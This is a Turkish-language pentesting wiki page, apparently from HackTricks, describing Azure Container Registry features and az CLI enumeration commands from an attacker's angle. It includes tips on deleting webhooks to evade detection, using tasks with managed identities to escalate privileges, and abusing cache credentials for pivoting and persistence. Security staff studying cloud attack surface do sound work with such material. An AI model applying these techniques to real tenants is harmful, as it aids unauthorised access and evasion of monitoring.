Diğerleri yalnızca **genel erişim** destekler. Genel bir uç nokta `.azurecr.io` formatındadır ve özel bir uç nokta `.privatelink.azurecr.io` formatındadır. Bu nedenle, kayıt defterinin adı tüm Azure genelinde benzersiz olmalıdır. + +### Microsoft Defender for Cloud + +Bu, kayıt defterindeki **görüntüleri** **zafiyetler** için **taramanıza** olanak tanır. + +### Yumuşak silme + +**Yumuşak silme** özelliği, belirtilen gün sayısı içinde **silinmiş bir kayıt defterini** **geri yüklemenize** olanak tanır. Bu özellik **varsayılan olarak devre dışıdır**. + +### Webhook'lar + +Kayıt defterleri içinde **webhook'lar** oluşturmak mümkündür. Bu webhook'ta, bir **push veya silme işlemi gerçekleştirildiğinde bir isteğin gönderileceği URL'yi** belirtmek gerekir. Ayrıca, Webhook'lar etkilenecek depoları (görüntüleri) belirtmek için bir kapsam gösterebilir. Örneğin, 'foo:*' 'foo' deposundaki olayları ifade eder. + +Saldırganlar açısından, kayıt defterinde herhangi bir işlem gerçekleştirmeden önce bunu kontrol etmek ve gerekirse geçici olarak kaldırmak ilginçtir, böylece tespit edilmekten kaçınılır. + +### Bağlı kayıt defterleri + +Bu, bir kayıt defterinden diğerine, genellikle yerel olarak bulunan bir kayıt defterine **görüntüleri yansıtmanıza** olanak tanır. + +2 modu vardır: **Sadece Okuma** ve **Okuma-Yazma**. İlkinde, görüntüler yalnızca kaynak kayıt defterinden **çekilir**, ikincisinde ise görüntüler kaynak kayıt defterine de **itilebilir**. + +Müşterilerin Azure'dan kayıt defterine erişmesi için, bağlı kayıt defteri kullanıldığında bir **token** oluşturulur. + +### Çalışmalar & Görevler + +Çalışmalar & Görevler, Azure'da genellikle yerel olarak veya bir CI/CD boru hattında yapmanız gereken konteynerle ilgili eylemleri gerçekleştirmenizi sağlar. Örneğin, kayıt defterinde **görüntüleri oluşturabilir, itebilir ve çalıştırabilirsiniz**. + +Bir konteyneri oluşturmanın ve çalıştırmanın en kolay yolu, normal bir Çalışma kullanmaktır: +```bash +# Build +echo "FROM mcr.microsoft.com/hello-world" > Dockerfile +az acr build --image sample/hello-world:v1 --registry mycontainerregistry008 --file Dockerfile . + +# Run +az acr run --registry mycontainerregistry008 --cmd '$Registry/sample/hello-world:v1' /dev/null +``` +Ancak, bu, saldırganlar açısından çok ilginç olmayan çalışmaları tetikleyecektir çünkü onlara bağlı herhangi bir yönetilen kimlik yoktur. + +Ancak, **görevler** bir **sistem ve kullanıcı yönetilen kimliği** ile ilişkilendirilebilir. Bu görevler, konteynerde **yetki yükseltmek** için faydalıdır. Yetki yükseltme bölümünde, görevlerin nasıl kullanılacağını görebilirsiniz. + +### Önbellek + +Önbellek özelliği, **harici bir depodan görüntüleri indirmeye** ve yeni sürümleri kaydetmeye olanak tanır. Bunun için, Azure Vault'tan kimlik bilgilerini seçerek bazı **kimlik bilgileri yapılandırılmış** olmalıdır. + +Bu, saldırganlar açısından çok ilginçtir çünkü yeterli izinlere sahip bir saldırgan, kimlik bilgilerine erişim sağlarsa, **harici bir platforma geçiş yapabilir**, **harici bir depodan görüntüleri indirebilir** ve bir önbellek yapılandırmak **kalıcılık mekanizması** olarak da kullanılabilir. + +## Sayım + +> [!WARNING] +> Kayıt adının bazı büyük harfler içermesi durumunda, ona erişmek için yalnızca küçük harfler kullanmanız çok önemlidir. +```bash +# List of all the registries +# Check the network, managed identities, adminUserEnabled, softDeletePolicy, url... +az acr list + +# Get the details of a registry +az acr show --name + +# List tokens of a registry +az acr token list --registry --resource-group + +# List repositories in a registry +az acr repository list --name --resource-group + +# List the tags of a repository +az acr repository show-tags --repository --name --resource-group + +# List deleted repository tags +## At the time of this writing there isn't yet any command to restore it +az acr repository list-deleted --name + +# List tasks +## Check the git URL or the command +az acr task list --registry + +# List tasks runs +az acr task list-runs --registry + +# List connected registries +az acr connected-registry list --registry + +# List cache +az acr cache list --registry + +# Get cache details +az acr cache show --name --registry +``` +## Yetki Yükseltme & Sonrası İstismar + +{{#ref}} +../az-privilege-escalation/az-automation-accounts-privesc.md +{{#endref}} + +## Referanslar + +- [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli) +- [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager) + +{{#include ../../../../banners/hacktricks-training.md}}